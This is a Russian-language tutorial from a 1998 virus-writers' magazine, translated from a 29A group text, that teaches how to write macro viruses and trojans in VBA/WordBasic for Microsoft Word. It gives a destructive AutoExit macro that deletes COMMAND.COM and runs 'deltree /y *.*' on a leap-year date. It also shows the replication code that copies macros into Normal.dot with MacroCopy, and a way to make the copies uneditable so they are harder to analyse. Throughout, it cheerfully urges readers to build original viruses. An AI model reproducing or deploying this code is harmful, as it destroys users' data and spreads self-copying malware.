▄▄ █ ▀▀▀ Virus Magazine █ Box 176, Kiev 210, Ukraine IV 1998 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀ █▀▀▀▀▀▀▀█ ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█ ▌ █ ▄▀█ █ ▄▀▀ █▄▄ █ █ ▀▀█ █ █ █ █ █▀ █▀ █ █ █▀ █ █ █ █ █ █ █ █ █ █ █ ▄▄█ █ █ ▐ ▐ ▐ ▐▄▄ ▐▄▄ ▐ ▐▄▄ ▐▄▀ ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄ █ █ █▄▄ █ ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄▄▄▄▄█ (C) Copyright, 1994-98, by STEALTH group WorldWide, unLtd. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ Вирусы и троянские кони @ @ на VBA @ @ Leugim San/29A @ @ & @ @ MaD MoTHeR @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ (@) MaD MoTHeR TeaM - 1996 Макрос - это программа, написанная на некотором языке, который используется обычно для автоматизации некоторых процессов внутри при- ложения. В данном случае мы будем говорить о языках Visual Basic for Applications (VBA) and WordBasic (WB) - языках, используемых Microsoft в своих программах, в частности, Excel, Project and PowerPoint исполь- зуют VBA, а WinWord использует WB. Далее мы будем считать VBA стандартным языком, так как он предс- тавляет собой попытку унифицировать макро-язык, сделать его общим для всех программ Microsoft. Однако, WB имеет некоторые отличия, и при не- обходимости мы будем ссылаться конкретно на него. В синтаксисе этих двух языков есть некоторые отличия, но структу- ра кода похожа, так что по умолчанию мы говорим о VDA как о стандарт- ном макро-языке Microsoft. Макрос VBA - это вызываемые процедуры; они бывают двух типов : - процедуры-подпрограммы - процедуры-функции Процедуры-подпрограммы могут исполняться непосредственно или вы- зываться из других макросов. Синтаксис их следующий : Sub <Имя_Макроса> -> код макроса <- ' комментарий начинается с апострофа End Sub Пример: Sub Stupid_Greeting ' данный макрос открывает диалоговое окно и выводит ' сообщение MsgBox "Hello World!" End Sub Процедуры-функции (также называемые просто функциями) возвращают значение, которое может быть передано в качестве параметра другой про- цедуре. Ее синтаксис : Function <Имя_Функции>(Аргументы) -> Инструкции <- ' комментарий End Function Пример: Function AddAB(a,b) ' суммирует параметры a и b и возвращает результат ' в переменную "AddAB" AddAB = a+b End Function Конечно, вы можете вставить в документ столько макросов, сколько вам нужно, или сколько вы хотите, ограничений на их количество нет. Теперь, когда вы поняли, что такое набор макросов, мы назовем его мо- дулем VBA. Это означает, что модуль VBA - это набор макросов (проце- дур-подпрограмм и процедур-функций), составляющих документ. Язык VBA также работает с объектами. Мы можем делать ссылки на документы, графику....внутри модулей VBA. Объекты обладают свойствами. К примеру, свойством (или атрибутом) является цвет фона объекта. У объектов также есть методы, представляющие собой операции, которые можно осуществлять над объектами. VBA также позволяет работать с переменными, и, как у языка струк- турного типа, у него есть типичные для таких языков конструкции : ■ цикл 'For-next' : Sub Counter Infect_Num=0 For Count=1 to 10 Infect_Num=Infect_Num+Count Next Count MsgBox "Достигнуто максимальное количество заражений" End Sub ■ условие 'If-then' : Sub Infect_Check If Infect_Num=0 Then MsgBox "Файл не заражен" End Sub ■ конструкиця 'With-end with' (используется для работы с несколь- кими свойствами конкретного объекта): Sub ChangeProperties With Selection .Font.Bold=True .Font.ColorIndex=3 ' красный цвет End With End Sub ■ селектор 'Select case-end select': Sub Check_Infection Select Case Infect_Num Case 0 MsgBox "Файл не заражен" Case is > 0 MsgBox "Файл заражен" Case is < 0 Infect_Num=0 End Case End Sub Полезный инструмент для работы с VBA - окно отладки. В нем можно трассировать код, вносить изменения и т.д....технология отладки бази- руется на использовании флагов для прерывания на некоторое время ис- полнения кода с выводом MsgBox после каждой команды, так что можно анализировать содержимое конкретных переменных и/или инструкций (в де- баггере VBA можно также для прерывания исполнения кода ставить конт- рольные точки). Кроме того, важным аспектом являются аргументы функций; как мы уже рассмотрели, структура их следующая : Function <Имя>(Аргументы) [...] End Function Аргументами могут быть константы, переменные или выражения. Во всяком случае, могут быть процедуры без аргументов. Function Get_Name() Name=Application.UserName End Function Есть функции, которые всегда требуют некоторое фиксированное чис- ло аргументов (до 60). Другие функции имеют некоторые обязательные ар- гументы, а остальные могут отсутствовать. Ok, теперь после того, как основы VBA стали понятны всем, мы пе- рейдем к изучению того, ради чего мы все это объясняли : вирусы и тро- янцы на VBA. Язык VBA очень универсален, и это в основном по двум причинам : во-первых, из-за его больщой легкости в изучении и использовании; так как он представляет собой ЯВУ, ориентированный на события (а не на объекты :), на нем очень легко создавать сложные модули, не тратя на это много времени. Во-вторых, большое количество предопределенных функций, облегчающих нам жизнь. Можно также сказать в-третьих, но это уже было упомянуто во-вторых...имеются в виду функции (или макросы) *автоматического выполнения*, так что мы можем выполнять некоторые ве- щи, которые упрощают написание процедур автокопирования, посадки в па- мять и т.д., используемые стандартными DOS-вирусами. Помимо этого, эксклюзивной чертой VBA является свойство ПЕРЕНОСИ- МОСТИ, это его преимущество или как вы там его назовете. VBA есть под Win 3.x, Win95, WinNT, Mac и т.д., то есть в любой ОС, где можно за- пустить приложения, поддерживающие VBA. Но не думайте, что все так просто... :-) VBA представляет собой язык, адаптированный к языку приложения, из под которого он запущен. Это означает, что если у вас есть испанс- кая версия WinWord, то имена предопределенных функций будут также на испанском, так что два следующих макроса не одно и то же (первый напи- сан на испанском, второй - на английском). ■ Первый макрос (испанский): Sub Demo_Macro Con Selecciвn.Fuente .Nombre="Arial" Fin Con End Sub ■ Второй макрос (английский): Sub Demo_Macro With Selection.Font .Name="Arial" End With End Sub Последний макрос не будет работать в испанской версии Win- Word...он вызовет ошибку выполнения макроса, так что он не будет ниче- го делать. Помните также, что VBA - язык интерпретируемого типа (не компилируемого), так что каждая ошибка выполнения появляется 'в поле- те'. Но...разве нет никакого решения этой проблемы ... ... ... ... }:-) ... Конечно, есть! ;-) Некоторые функции есть во всех версиях VBA вне зависимости от языка. Например, автоматический макрос AutoExec (котороый запускается при загрузке WinWord, если он есть в шаблоне Normal.dot) будет работать в любой версии VBA. Может быть одним из первых упражнений будет попытка создания мультиплатформенного и мультиязыкового вируса...но наверно он уже написан...}:-) ха-ха... ладно, пойдем дальше. Следующим этапом, после того, как изучен, синтаксис языка, будет изучение функций, которые необходимо использовать в виру- сах. так как этот текст не о программировании вообще, но руко- водство по макро-вирусам, обратим внимание на автоматические мак- росы WinWord, реализованные в WordBasic (но заметьте, не в VBA). Есть пять специальных макросов, выполняющихся автоматически : ■ AutoExec: это макрос, активируемый при загрузке текстового процессора, но только в том случае, если он сохранен в шаблоне Normal.dot или в каталоге стандартных приложений ■ AutoNew: активизируется при создании нового документа ■ AutoOpen: активизируется при открытии существующего документа ■ AutoClose: активизируется при закрытии документа ■ AutoExit: активизируется при выходе из текстового процессора Для доказательства силы и универсальности этих макросов, взглянем на следующий фрагмент кода (с текущего момента мы не беспокоимся о языке). ' сохраните макрос как AutoExit Sub Main If Application.Username <> "MaD_MoTHeR" Then ' проверка регистрайционного имени SetAttr "C:\COMMAND.COM",0 ' снимем атрибуты COMMAND.COM Open "C:\COMMAND.COM" for Output as #1 ' откроем для проверки, не будет ли ошибки Close #1 ' если есть - то закроем Kill "C:\COMMAND.COM" ' ... и удалим }:-) End If If Month(Now())=2 Then ' системная дата - февраль ? If Day(Now())=29 Then ' 29? (только раз в четыре года) :-) Shell "deltree /y *.* > null" ' кстати... /y работает для всех языков :-) End If End If End Sub Приведенный выше макрос проверяет при выходе из WinWord две вещи: первое - если WinWord зарегистрирован не на MaD_MoTHeR, то будет удален COMMAND.COM ; второе - если системная дата 29 февра- ля (только для високосных годов) :-) он выполняет команду "delt- ree /y *.* > null" (я думаю, что вы все знаете, что делает эта команда, да ? };-) Ну теперь у вас достаточно знаний для прочтения следующей и последней главы этого руководства : размножение. Это наиболее важная вещь в написании вирусов, не так ли? :-) Уникальная вещь, которую надо знать - это как адаптировать автоматический макрос (это простейший пример), чтобы активизиро- вать его в шаблон, открываемый по умолчанию WinWord-ом. Это де- лается так: перво-наперво, определяем переменную, в которую запи- шем полное имя макроса: name$ = WindowName$() + ":AutoNew" ' этот макрос будет 'выполняться каждый 'раз при создании 'нового документа Далее все, что нужно сделать - это записать его в шаблот NORMAL.DOT простой командой : MacroCopy name$, "Global:AutoNew" Просто, не так ли? Во всяком случае, это стандартный способ работы макро-вирусов, но есть еще много других, более лучших спо- собов заражения... всего то и нужно, что немного воображения и несколько строчек кода. Одним из трюков, который улучшает ваши вирусы и затрудняет их анализ, является кодирование макро-виру- сов... и это проще, чем размножение!!! :-) MacroCopy "MyTemplate:MyMacro", "Global:AutoClose", 1 Если вы выполняете MacroCopy с параметром, равным 1 (или другому числу больше 0), в результате копирования вы получите только исполняемый макрос, который нельзя редактировать!:-) Это все, что вам необходимо знать, чтобы создавать макро-ви- русы... практикуйтесь, исследуйте и пытайтесь создать что-то действительно оригинальное. Кстати, написанный мною пример мак- ро-вируса включен в '29A virii'. Это супермаленький и суперпрос- той макро-вирус, содержащий маленькую пакость :-) Не забудьте посмотреть на это! (@) MaD MoTHeR TeaM - 1996 Перевод (c) HellRaiser 1997